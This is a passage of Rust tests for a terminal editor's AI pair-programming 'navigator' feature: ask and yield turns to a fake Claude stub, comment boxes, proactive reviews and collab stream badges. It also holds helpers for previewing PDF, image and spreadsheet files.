        Command::ClearNavigatorNotes,
    ] {
        assert!(ALL_COMMANDS.contains(&cmd), "{cmd:?} missing from palette");
    }
    assert_eq!(Command::AskNavigator.keybinding_hint(), "Cmd+K Q");
    assert_eq!(Command::YieldToNavigator.keybinding_hint(), "Cmd+K Y");

    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "a\nb").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.open_file_at_launch(&file);

    app.run_command(crate::widgets::command_palette::Command::AskNavigator);
    assert!(app.status.to_lowercase().contains("not active"));
    app.run_command(crate::widgets::command_palette::Command::YieldToNavigator);
    assert!(app.status.to_lowercase().contains("not active"));

    app.navigator_notes
        .insert("f.txt".into(), vec![(1, 0, "n".into())]);
    app.editor.comment_focus = Some(crate::widgets::editor::CommentFocus {
        id: 1,
        reply: String::new(),
        cursor: 0,
    });
    app.run_command(crate::widgets::command_palette::Command::ClearNavigatorNotes);
    assert!(app.navigator_notes.is_empty());
    assert!(app.editor.comment_focus.is_none());

    app.run_command(crate::widgets::command_palette::Command::ToggleNavigator);
    let record =
        crate::session::read_pair_record(&app.pair_record_path).expect("toggle writes the record");
    assert!(record.enabled);
    app.run_command(crate::widgets::command_palette::Command::ToggleNavigator);
    let record = crate::session::read_pair_record(&app.pair_record_path).unwrap();
    assert!(!record.enabled);
}

/// Cmd+K Y yields the active file to the navigator (a COMMENT-ONLY turn
/// carrying the numbered buffer). Commentary normally lands as a comment
/// box; here no owner serves the file (the host was seated by hand, no
/// self-appointment), so the words fall back to the Navigator OUTPUT
/// channel rather than being lost.
#[test]
fn cmd_k_y_yields_the_active_file_and_commentary_reaches_output() {
    use std::time::{Duration, Instant};
    if !crate::lsp::manager::is_on_path("python3") {
        eprintln!("SKIPPED: python3 not on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "a\nb\nc").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let script = tmp.path().join("fake_claude.py");
    std::fs::write(&script, crate::pair::FAKE_CLAUDE).unwrap();
    let log = tmp.path().join("stdin.log");

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);

    // Without a host the chord hints instead of panicking.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('y'), KeyModifiers::NONE)));
    assert!(
        app.status.to_lowercase().contains("not active"),
        "got: {}",
        app.status
    );

    let mut cmd = std::process::Command::new("python3");
    cmd.arg(&script).arg(&log).arg("notes");
    app.pair_host =
        Some(crate::pair_host::PairHost::spawn_cmd(&socket, "navigator", None, cmd).unwrap());
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('y'), KeyModifiers::NONE)));
    assert!(
        app.status.to_lowercase().contains("yielded"),
        "got: {}",
        app.status
    );
    let deadline = Instant::now() + Duration::from_secs(10);
    loop {
        let sent = std::fs::read_to_string(&log).unwrap_or_default();
        if sent.contains("COMMENT-ONLY") && sent.contains("0|a") {
            break;
        }
        assert!(
            Instant::now() < deadline,
            "yield turn never reached claude; log: {sent}"
        );
        std::thread::sleep(Duration::from_millis(10));
    }
    // The fake's "Reviewing." commentary flows to the Navigator channel.
    // OUTPUT is process-global, so only lines past this test's own baseline
    // count: a sibling test's residue on the same channel must not be able
    // to satisfy the wait.
    let baseline = crate::output::snapshot("Navigator")
        .unwrap_or_default()
        .len();
    let deadline = Instant::now() + Duration::from_secs(10);
    loop {
        app.poll_pair();
        let lines = crate::output::snapshot("Navigator").unwrap_or_default();
        if lines
            .iter()
            .skip(baseline)
            .any(|l| l.text.contains("Reviewing."))
        {
            break;
        }
        assert!(
            Instant::now() < deadline,
            "commentary never reached OUTPUT; got {lines:?}"
        );
        std::thread::sleep(Duration::from_millis(10));
    }
}

/// A clean turn that left comments must SAY so: the TurnDone status names
/// the comment count and the F4 review key. The fake's turn leaves TWO
/// boxes: its NOTE fence, plus its prose commentary ("Reviewing."), which
/// lands as a comment box at the turn's origin — never in OUTPUT (boxes are
/// the navigator's single voice).
#[test]
fn turn_done_status_keeps_the_notes_visible() {
    use std::time::{Duration, Instant};
    if !crate::lsp::manager::is_on_path("python3") {
        eprintln!("SKIPPED: python3 not on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("demo.txt");
    std::fs::write(&file, "a\nb\nc").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let script = tmp.path().join("fake_claude.py");
    std::fs::write(&script, crate::pair::FAKE_CLAUDE).unwrap();
    let log = tmp.path().join("stdin.log");

    // Full seating (record + owner self-appointment): the app-side owner
    // answers the pilot's SnapshotRequest so the NOTE can anchor.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.pair-host.lock");
    let (script2, log2, socket2) = (script.clone(), log.clone(), socket.clone());
    app.pair_spawn_override = Some(Box::new(move |cfg| {
        let mut cmd = std::process::Command::new("python3");
        cmd.arg(&script2).arg(&log2).arg("notes");
        crate::pair_host::PairHost::spawn_cmd(&socket2, &cfg.name, cfg.task.as_deref(), cmd)
    }));
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "nav".into(),
            enabled: true,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    app.last_pair_check = None;
    assert!(app.maybe_seat_navigator());
    let deadline = Instant::now() + Duration::from_secs(5);
    while app.collab.is_none() {
        assert!(Instant::now() < deadline, "owner seat never connected");
        app.poll_collab();
        std::thread::sleep(Duration::from_millis(5));
    }
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('y'), KeyModifiers::NONE)));

    let deadline = Instant::now() + Duration::from_secs(10);
    loop {
        app.poll_collab();
        app.poll_pair();
        if app.status.contains("finished") {
            break;
        }
        assert!(
            Instant::now() < deadline,
            "turn never finished; status: {}",
            app.status
        );
        std::thread::sleep(Duration::from_millis(10));
    }
    assert!(
        app.status.contains("2 comments") && app.status.contains("F4"),
        "TurnDone status must surface the comments, got: {}",
        app.status
    );
    // The prose landed as an anchored box (poll_pair's match makes box vs
    // OUTPUT mutually exclusive; the fallback path has its own test, and
    // the OUTPUT channel is process-global so it cannot be asserted empty
    // under the parallel suite).
    let host = app.pair_host.as_ref().expect("still seated");
    let snap = host.notes_snapshot("demo.txt");
    assert!(
        snap.iter().any(|(_, _, body)| body.contains("Reviewing.")),
        "commentary must land as a comment box; snapshot: {snap:?}"
    );
}

/// The ask box: Cmd+K Q opens the navigator input scoped to the caret line
/// (or the selection), right-click menus carry the entries, and submitting
/// sends the composed ask turn (instruction, 0-based range, numbered
/// buffer) to the pilot's claude stdin.
#[test]
fn ask_box_opens_from_chord_and_menus_and_sends_the_ask_turn() {
    use crate::widgets::input_prompt::InputPurpose;
    use crossterm::event::{MouseButton, MouseEventKind};
    use std::time::{Duration, Instant};
    if !crate::lsp::manager::is_on_path("python3") {
        eprintln!("SKIPPED: python3 not on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "a\nb\nc\nd\ne").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let script = tmp.path().join("fake_claude.py");
    std::fs::write(&script, crate::pair::FAKE_CLAUDE).unwrap();
    let log = tmp.path().join("stdin.log");

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    let mut cmd = std::process::Command::new("python3");
    cmd.arg(&script).arg(&log).arg("notes");
    app.pair_host =
        Some(crate::pair_host::PairHost::spawn_cmd(&socket, "navigator", None, cmd).unwrap());

    // Cmd+K Q on the caret line (no selection): single-line scope, 1-based
    // title, Esc closes through the shared input-prompt path.
    app.editor.cursor_row = 2;
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('q'), KeyModifiers::NONE)));
    {
        let p = app.input_prompt.as_ref().expect("ask box opens");
        assert!(
            matches!(&p.purpose, InputPurpose::AskNavigator { range: (2, 2), .. }),
            "caret-line scope"
        );
        assert!(p.title.contains("line 3"), "title: {}", p.title);
    }
    app.handle_input_prompt_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.input_prompt.is_none());

    // With a selection the chord scopes to the selected lines; submitting
    // sends the composed turn to the pilot.
    app.editor.selection = Some(crate::widgets::editor::EditorSelection {
        anchor: (1, 0),
        head: (3, 1),
    });
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('q'), KeyModifiers::NONE)));
    assert!(matches!(
        &app.input_prompt.as_ref().unwrap().purpose,
        InputPurpose::AskNavigator { range: (1, 3), .. }
    ));
    for c in "tighten this".chars() {
        app.handle_input_prompt_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    app.handle_input_prompt_key(key(KeyCode::Enter, KeyModifiers::NONE));
    assert!(app.input_prompt.is_none(), "submit closes the box");
    let deadline = Instant::now() + Duration::from_secs(10);
    loop {
        let sent = std::fs::read_to_string(&log).unwrap_or_default();
        if sent.contains("tighten this") && sent.contains("lines 1-3") && sent.contains("2|c") {
            break;
        }
        assert!(
            Instant::now() < deadline,
            "composed ask never reached claude; log: {sent}"
        );
        std::thread::sleep(Duration::from_millis(10));
    }

    // The gutter right-click menu offers the ask entry; the body menu adds
    // the selection-scoped one while a selection is active.
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let gutter_col = app.editor.last_inner.x;
    let row = app.editor.last_inner.y + 1;
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        gutter_col,
        row,
    ));
    let labels = menu_labels(&app.context_menu.as_ref().unwrap().items);
    assert!(labels.contains(&"Ask Navigator"), "gutter menu: {labels:?}");
    app.context_menu = None;
    app.editor.selection = Some(crate::widgets::editor::EditorSelection {
        anchor: (0, 0),
        head: (2, 1),
    });
    let text_x = app.editor.last_inner.x + app.editor.last_gutter_width + 2;
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Right), text_x, row));
    let labels = menu_labels(&app.context_menu.as_ref().unwrap().items);
    assert!(
        labels.contains(&"Ask Navigator About Selection"),
        "body menu: {labels:?}"
    );
}

/// The navigator note popup: opens when the caret LANDS on a noted line
/// (staying put never re-triggers), Esc dismisses it without eating the
/// selection, F4 cycles through the file's notes (wrapping) and jumps the
/// caret, and moving off a noted line closes it.
#[test]
fn f4_focuses_comment_boxes_typing_edits_the_draft_and_esc_releases() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "a\nb\nc\nd\ne").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    app.navigator_notes.insert(
        "f.txt".into(),
        vec![(1, 1, "first note".into()), (2, 3, "second note".into())],
    );

    // F4 focuses the next box from the caret (id 1 on row 1) and jumps to
    // its anchor; a second F4 hops to the next box; a third wraps.
    app.handle_key(key(KeyCode::F(4), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 1);
    assert_eq!(app.editor.comment_focus.as_ref().map(|f| f.id), Some(1));
    app.handle_key(key(KeyCode::F(4), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 3);
    assert_eq!(app.editor.comment_focus.as_ref().map(|f| f.id), Some(2));
    app.handle_key(key(KeyCode::F(4), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.comment_focus.as_ref().map(|f| f.id), Some(1));

    // Typing edits the reply draft, never the buffer.
    let before = app.editor.lines.clone();
    for c in ['w', 'h', 'y'] {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor.comment_focus.as_ref().map(|f| f.reply.as_str()),
        Some("why")
    );
    assert_eq!(app.editor.lines, before, "the buffer is untouched");
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.comment_focus.as_ref().map(|f| f.reply.as_str()),
        Some("wh")
    );

    // Esc releases the keyboard back to the buffer.
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.comment_focus.is_none());

    // Shift+F4 ignores the nearest box: it leaves the snapshot immediately.
    app.editor.cursor_row = 0;
    app.handle_key(key(KeyCode::F(4), KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.navigator_notes.get("f.txt").map(|n| n.len()),
        Some(1),
        "the ignored box is gone from the snapshot"
    );
}

/// Re-rooting the workspace (Cmd+Z jump / Make Root) rebinds the resident
/// navigator: the activation record, relay socket, and single-host lock all
/// key off the root, so a `croft pair` run in the NEW root must be seen by
/// this window. The old workspace's seat (and its comment boxes) unseats.
#[test]
fn reroot_rebinds_the_navigator_activation_watch() {
    let a = tempfile::tempdir().unwrap();
    let b = tempfile::tempdir().unwrap();
    std::fs::write(a.path().join("a.txt"), "a").unwrap();
    std::fs::write(b.path().join("b.txt"), "b").unwrap();
    let mut app = App::new(a.path().to_path_buf()).unwrap();
    assert_eq!(
        app.pair_record_path,
        crate::session::pair_record_path(a.path())
    );

    // A seat and its boxes from root A are torn down by the move.
    app.navigator_notes
        .insert("a.txt".into(), vec![(1, 0, "n".into())]);
    app.editor.comment_focus = Some(crate::widgets::editor::CommentFocus {
        id: 1,
        reply: String::new(),
        cursor: 0,
    });
    app.navigator_down = true; // a dead pilot in A must not block B
    app.last_pair_check = Some(std::time::Instant::now());

    app.change_workspace_root(b.path().to_path_buf());

    assert_eq!(
        app.pair_record_path,
        crate::session::pair_record_path(b.path()),
        "the activation watch follows the root"
    );
    assert_eq!(
        app.pair_socket,
        crate::session::collab_socket_path(b.path())
    );
    assert_eq!(
        app.pair_host_lock_path,
        crate::session::pair_host_lock_path(b.path())
    );
    assert!(app.navigator_notes.is_empty(), "old root's boxes are gone");
    assert!(app.editor.comment_focus.is_none());
    assert!(
        !app.navigator_down,
        "the death latch belongs to the old root"
    );
    assert!(
        app.last_pair_check.is_none(),
        "the new record is checked on the next tick, not in 1s"
    );
}

/// The proactive trigger: after the navigator's first look at a file, a
/// newly COMPLETED construct plus a typing pause makes it take a
/// comment-only look on its own. A pause alone never fires, the pref kills
/// the behavior, and one buffer state never fires twice.
#[test]
fn a_completed_construct_plus_pause_triggers_a_proactive_look() {
    use std::time::{Duration, Instant};
    if !crate::lsp::manager::is_on_path("python3") {
        eprintln!("SKIPPED: python3 not on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.rs");
    std::fs::write(&file, "fn alpha() {}\n").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let script = tmp.path().join("fake_claude.py");
    std::fs::write(&script, crate::pair::FAKE_CLAUDE).unwrap();
    let log = tmp.path().join("stdin.log");

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    // Own the workspace's collab session so the pilot's bootstraps answer.
    app.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    app.last_collab_connect = None;
    let deadline = Instant::now() + Duration::from_secs(5);
    while app.collab.is_none() {
        assert!(Instant::now() < deadline, "owner seat never connected");
        app.poll_collab();
        std::thread::sleep(Duration::from_millis(5));
    }
    let mut cmd = std::process::Command::new("python3");
    cmd.arg(&script).arg(&log).arg("notes");
    app.pair_host = Some(crate::pair_host::PairHost::spawn_cmd(&socket, "nav", None, cmd).unwrap());

    // The navigator's first look: a manual yield; wait the turn out.
    app.yield_to_navigator();
    let deadline = Instant::now() + Duration::from_secs(15);
    while app.pair_host.as_ref().unwrap().is_busy() {
        assert!(Instant::now() < deadline, "the first look never finished");
        app.poll_collab();
        app.poll_pair();
        std::thread::sleep(Duration::from_millis(10));
    }

    // A pause with no new construct never fires.
    app.editor.last_edit_at = Some(Instant::now() - Duration::from_secs(3));
    app.editor.edit_seq += 1;
    assert!(!app.tick_proactive_navigator(), "no new construct: no look");

    // Complete a new function, pause — but the pref is off: no fire.
    let beta_row = app.editor.lines.len(); // where the new fn will sit
    app.editor.lines.push("fn beta() {}".into());
    app.editor.edit_seq += 1;
    app.editor.last_edit_at = Some(Instant::now() - Duration::from_secs(3));
    app.proactive_navigator_enabled = false;
    assert!(
        !app.tick_proactive_navigator(),
        "the pref must gate the look"
    );

    // Pref back on but the user is mid-typing in a prompt (the ask box):
    // stealing the seat now would make their Enter fail against a busy
    // host and lose the typed draft. An open prompt suppresses the look
    // without consuming the scan.
    app.proactive_navigator_enabled = true;
    app.open_ask_navigator((0, 0), String::new());
    assert!(app.input_prompt.is_some(), "the ask box must open");
    assert!(
        !app.tick_proactive_navigator(),
        "an open prompt must suppress the proactive look"
    );
    app.close_input_prompt();

    // Prompt closed: the completed construct fires a comment-only look
    // anchored at the new function's row.
    assert!(app.tick_proactive_navigator(), "new fn + pause must fire");
    assert_eq!(
        app.pair_turn_origin,
        Some((String::from("f.rs"), beta_row)),
        "the look anchors at the completed construct"
    );
    assert!(
        app.pair_host.as_ref().unwrap().is_busy(),
        "the proactive look is a real turn"
    );

    // The same buffer state never fires twice (latch + busy host).
    assert!(!app.tick_proactive_navigator());
}

/// A failed ask submit must not eat the typed draft: the navigator can go
/// away (or busy) between opening the box and Enter, and the instruction
/// the user typed is unrecoverable once the prompt closes. The failure
/// keeps the box open for a retry, like a failed comment reply keeps its
/// draft.
#[test]
fn a_failed_ask_submit_keeps_the_typed_draft() {
    use crate::widgets::input_prompt::{InputPrompt, InputPurpose};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.input_prompt = Some(
        InputPrompt::new(
            InputPurpose::AskNavigator {
                file: String::from("f.rs"),
                range: (0, 0),
                selection: String::new(),
            },
            "Ask nav",
            "",
        )
        .with_value("check the loop bounds"),
    );
    app.submit_input_prompt();
    let p = app
        .input_prompt
        .as_ref()
        .expect("the failed submit must keep the prompt open");
    assert_eq!(p.value, "check the loop bounds", "the draft survives");
    assert!(
        app.status.to_lowercase().contains("not active"),
        "the failure is announced: {}",
        app.status
    );
}

/// Enter in a focused comment box sends the reply turn: the composed
/// message (note context, the reply, COMMENT-ONLY, numbered buffer) reaches
/// the pilot's claude stdin, and the focus releases.
#[test]
fn enter_in_a_focused_comment_box_sends_the_reply_turn() {
    use std::time::{Duration, Instant};
    if !crate::lsp::manager::is_on_path("python3") {
        eprintln!("SKIPPED: python3 not on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "a\nb\nc").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let script = tmp.path().join("fake_claude.py");
    std::fs::write(&script, crate::pair::FAKE_CLAUDE).unwrap();
    let log = tmp.path().join("stdin.log");

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_at_launch(&file);
    let mut cmd = std::process::Command::new("python3");
    cmd.arg(&script).arg(&log).arg("notes");
    app.pair_host = Some(crate::pair_host::PairHost::spawn_cmd(&socket, "nav", None, cmd).unwrap());
    app.navigator_notes
        .insert("f.txt".into(), vec![(1, 1, "seed note".into())]);
    app.editor.comment_focus = Some(crate::widgets::editor::CommentFocus {
        id: 1,
        reply: String::from("is this hot?"),
        cursor: 12,
    });

    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.editor.comment_focus.is_none(),
        "a sent reply releases the focus; status: {}",
        app.status
    );
    let deadline = Instant::now() + Duration::from_secs(10);
    loop {
        let sent = std::fs::read_to_string(&log).unwrap_or_default();
        if sent.contains("replied to your note on f.txt at line 1")
            && sent.contains("seed note")
            && sent.contains("is this hot?")
            && sent.contains("COMMENT-ONLY")
        {
            break;
        }
        assert!(
            Instant::now() < deadline,
            "reply turn never reached claude; log: {sent}"
        );
        std::thread::sleep(Duration::from_millis(10));
    }
}

/// The AI-stream badge lifecycle: a pilot's StreamState(active) sets
/// `collab_stream` on a dirty tick, the cancel action broadcasts
/// StreamCancel to the pilot, and StreamState(inactive) clears the badge.
/// With no active stream, cancel is a hint, not a broadcast.
#[test]
fn collab_stream_state_drives_the_badge_and_cancel_broadcasts() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }

    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    owner.open_file_at_launch(&file);

    // Cancel with no stream: a hint, nothing on the wire required yet.
    owner.collab_cancel_stream();
    assert!(
        owner.status.to_lowercase().contains("no ai stream"),
        "inactive cancel hints, got: {}",
        owner.status
    );

    // The relay is a dumb fan-out with no replay, so the owner must be
    // connected BEFORE the pilot broadcasts or the message is simply lost
    // (poll_collab's lazy connect is throttled and can lose that race
    // under a contended parallel suite).
    let deadline = Instant::now() + Duration::from_secs(5);
    while owner.collab.is_none() {
        assert!(Instant::now() < deadline, "owner never joined the relay");
        owner.poll_collab();
        std::thread::sleep(Duration::from_millis(5));
    }

    // A pilot stand-in seat on the same relay.
    let mut pilot = {
        let deadline = Instant::now() + Duration::from_secs(5);
        loop {
            if let Some(ch) =
                crate::collab::CollabChannel::connect(&socket, crate::collab::CollabRole::Guest)
            {
                break crate::collab::CollabSession::new(ch, "pilot".into());
            }
            assert!(Instant::now() < deadline, "pilot never connected");
            std::thread::sleep(Duration::from_millis(10));
        }
    };

    // Stream starts: the owner's badge state fills on a dirty tick.
    pilot.send_stream_state("f.txt", true);
    let deadline = Instant::now() + Duration::from_secs(5);
    let mut dirty_on_arrival = false;
    while owner.collab_stream.is_none() {
        assert!(Instant::now() < deadline, "badge never appeared");
        dirty_on_arrival = owner.poll_collab();
        std::thread::sleep(Duration::from_millis(5));
    }
    assert!(dirty_on_arrival, "the badge tick must request a redraw");
    let stream = owner.collab_stream.as_ref().unwrap();
    assert_eq!(
        (stream.name.as_str(), stream.file.as_str()),
        ("pilot", "f.txt")
    );

    // The owner cancels: the pilot's seat receives StreamCancel.
    owner.collab_cancel_stream();
    let deadline = Instant::now() + Duration::from_secs(5);
    loop {
        let events = pilot.poll(|_| None);
        if events
            .iter()
            .any(|e| matches!(e, crate::collab::CollabEvent::StreamCancel))
        {
            break;
        }
        assert!(Instant::now() < deadline, "pilot never saw the cancel");
        std::thread::sleep(Duration::from_millis(5));
    }

    // Stream ends: the badge clears.
    pilot.send_stream_state("f.txt", false);
    let deadline = Instant::now() + Duration::from_secs(5);
    while owner.collab_stream.is_some() {
        assert!(Instant::now() < deadline, "badge never cleared");
        owner.poll_collab();
        std::thread::sleep(Duration::from_millis(5));
    }
}

/// A caret name tag is visible while inside its 2s fade window and signals
/// exactly one redraw when it appears and one when it expires — no redraw
/// churn in between (the tick loop repaints only on `poll_collab() == true`).
#[test]
fn collab_caret_label_fade_signals_one_redraw_per_transition() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        !app.collab_labels_dirty(),
        "no carets, no labels, no redraw"
    );

    app.collab_carets.insert(
        2,
        CollabCaret {
            file: "f.txt".into(),
            row: 0,
            col: 3,
            name: "claude".into(),
            last_moved: std::time::Instant::now(),
        },
    );
    assert!(app.collab_labels_dirty(), "fresh tag: one redraw");
    assert!(!app.collab_labels_dirty(), "still visible: quiet");

    app.collab_carets.get_mut(&2).unwrap().last_moved =
        std::time::Instant::now() - std::time::Duration::from_secs(3);
    assert!(app.collab_labels_dirty(), "expired tag: one redraw");
    assert!(!app.collab_labels_dirty(), "stays hidden: quiet");
}

/// A right-click menu opened over an image tab was painted *under* the
/// picture: on Kitty the editor preview was placed at the default z=0, which
/// the spec puts above text. Placing it below text AND below non-default
/// background cells (the same trick the sidebar illustrations use) lets any
/// opaque popup box paint fully on top, while the preview still shows through
/// the pane's default-bg canvas.
#[test]
fn editor_image_preview_sits_below_text_so_popups_paint_over_it() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("shot.png");
    let mut png = Vec::new();
    image::RgbaImage::from_pixel(4, 4, image::Rgba([10, 200, 30, 255]))
        .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
        .expect("encode test png");
    std::fs::write(&path, &png).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.cell_pixel = Some((8, 16));
    app.editor.open(&path).unwrap();
    app.update_editor_image_overlay(
        0,
        ratatui::layout::Rect {
            x: 0,
            y: 0,
            width: 60,
            height: 30,
        },
    );

    let (osc, _) = app.editor_image_payload(0).expect("preview must bake");
    assert!(
        osc.contains(&format!(
            "z={}",
            crate::iterm2_inline::KITTY_Z_BELOW_TEXT_AND_BG
        )),
        "the preview must be placed below text so menus draw on top: {:?}",
        &osc[..osc.len().min(120)]
    );
}

// --- Preview navigation (PDF pages, spreadsheet rows, Markdown, text) -----
//
// Every tab type must stay navigable right after it is opened, from the
// keyboard and from the wheel. Opening a file from the Explorer used to leave
// focus on the tree, so arrows walked the file list and a PDF looked frozen on
// page 1; the wheel over a PDF or a spreadsheet did nothing at all.

/// A three-page PDF written inline, so the tests need no fixture file.
/// Poppler repairs the missing xref table, so exact offsets are unnecessary.
fn write_three_page_pdf(path: &std::path::Path) {
    let pdf = concat!(
        "%PDF-1.4\n",
        "1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n",
        "2 0 obj<</Type/Pages/Kids[3 0 R 4 0 R 5 0 R]/Count 3>>endobj\n",
        "3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 200 200]/Contents 6 0 R>>endobj\n",
        "4 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 200 200]/Contents 7 0 R>>endobj\n",
        "5 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 200 200]/Contents 8 0 R>>endobj\n",
        "6 0 obj<</Length 27>>stream\n0 0 1 rg 10 10 100 100 re f\nendstream endobj\n",
        "7 0 obj<</Length 27>>stream\n1 0 0 rg 10 10 100 100 re f\nendstream endobj\n",
        "8 0 obj<</Length 27>>stream\n0 1 0 rg 10 10 100 100 re f\nendstream endobj\n",
        "trailer<</Root 1 0 R/Size 9>>\n%%EOF\n",
    );
    std::fs::write(path, pdf).unwrap();
}

fn write_test_png(path: &std::path::Path) {
    let mut png = Vec::new();
    image::RgbaImage::from_pixel(8, 8, image::Rgba([10, 200, 30, 255]))
        .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
        .expect("encode test png");
    std::fs::write(path, &png).unwrap();
}

fn csv_body(rows: usize) -> String {
    let mut s = String::from("name,qty,price\n");
    for i in 0..rows {
        s.push_str(&format!("row{i},{i},{i}.50\n"));
    }
    s
}

fn current_pdf_page(app: &App) -> u32 {
    app.editor
        .image
        .as_ref()
        .and_then(|i| i.pdf.as_ref())
        .expect("a PDF tab must carry page state")
        .current_page
}

fn sheet_cursor(app: &App) -> (usize, usize) {
    let sheet = app.editor.sheet.as_ref().expect("a spreadsheet tab");
    let data = &sheet.sheets[sheet.current_sheet];
    (data.cur_row, data.cur_col)
}

fn sheet_scroll(app: &App) -> (usize, usize) {
    let sheet = app.editor.sheet.as_ref().expect("a spreadsheet tab");
    let data = &sheet.sheets[sheet.current_sheet];
    (data.scroll_row, data.scroll_col)
}

/// Open `name` the way a user does: select it in the Explorer and press Enter.
fn open_from_explorer(app: &mut App, name: &str) {
    let idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.file_name().is_some_and(|f| f == name))
        .unwrap_or_else(|| panic!("{name} must be visible in the Explorer"));
    app.tree.selected = idx;
    app.focus_pane(Pane::Tree);
